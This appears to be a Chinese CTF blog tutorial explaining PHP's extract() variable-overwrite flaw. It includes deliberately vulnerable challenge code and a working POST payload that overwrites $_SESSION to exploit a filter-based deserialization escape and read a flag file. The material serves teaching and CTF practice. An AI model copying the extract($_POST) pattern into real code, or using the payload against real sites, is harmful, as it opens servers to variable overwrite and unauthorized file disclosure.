定义
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
说大白话就是:将导入extract里面的数组的键名作为变量,值作为变量的值导入到当前的符号表。来个简单的demo:
<?php
$love=array('name'=>'lxrhe');
extract($love);
echo $name;
?>
#输出:lxrhe
就如上面所言,键作为了变量,值作为了变量值!
应用
看完了定义直接来看看应用!
创建变量
demo:
比如说这道题就是让你使用extract()函数创建一个变量,这里直接post提交,这里还利用了php的非法传参谈一谈PHP中关于非法参数名传参问题_php非法传参-CSDN博客,即参数里面的空格和[和+和点都会被转化成_。所以直接提交pass word=ctfshowvip或者pass+word=ctfshowvip(这个不知道为什么没成功)。这里主要是涉及了post上传的机制问题,即以数组形式储存数据的,即
$_POST = ['pass_word' => 'ctfshowvip'];
覆盖变量
demo:
<?php
$love='rufeii';
extract($_POST);
?>
#如果我们上传love=lxrhe那么根据extract函数的定义
就会导入到当前的符号表,如果已经存在了就会实行覆盖!
一个稍为复杂的问题
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
代码审计:定义了一个filter函数用于过滤,还有个$_SESSION数组,数组里面有三个键值对!还有个我们今天的主角extract($_POST)!逻辑就是通过extract实行变量覆盖,user,function使它们变为可控,然后打字符串减少逃逸!不过不是主线任务!我们直接看payload
POST: _SESSION[user]=flagflagflagflagflagphp
&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}
这里主要是理解_SESSION[user],之前没考虑post上传数据的储存机制,导致难以理解,那么现在我们进行分析即可!
php对上传的数据进行解析!主要看数组上传!
<?php
$_POST['love'];
?>
简单数组上传:
post提交love[]=1,php会解析成你上传的变量a是一个数组
即a=[1],$_POST={'love'=>{[0]=>1}};
数组的嵌套上传:
post提交love[name]=lxrhe,那么解析成
$_POST={'love'=>{['name']=>'lxrhe'}};当然还可以嵌套更多逻辑都是一样的
那么对payload进行分析:覆盖变量$_SESSION(它是一个数组),$_POST = ['_SESSION' =>['user' => 'flagflagflagflagflagphp','function'=>'";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}'];所以这里可以覆盖变量并且修改值,而且post和get上传好像是不需要考虑是不是字符串,因为它会自动识别!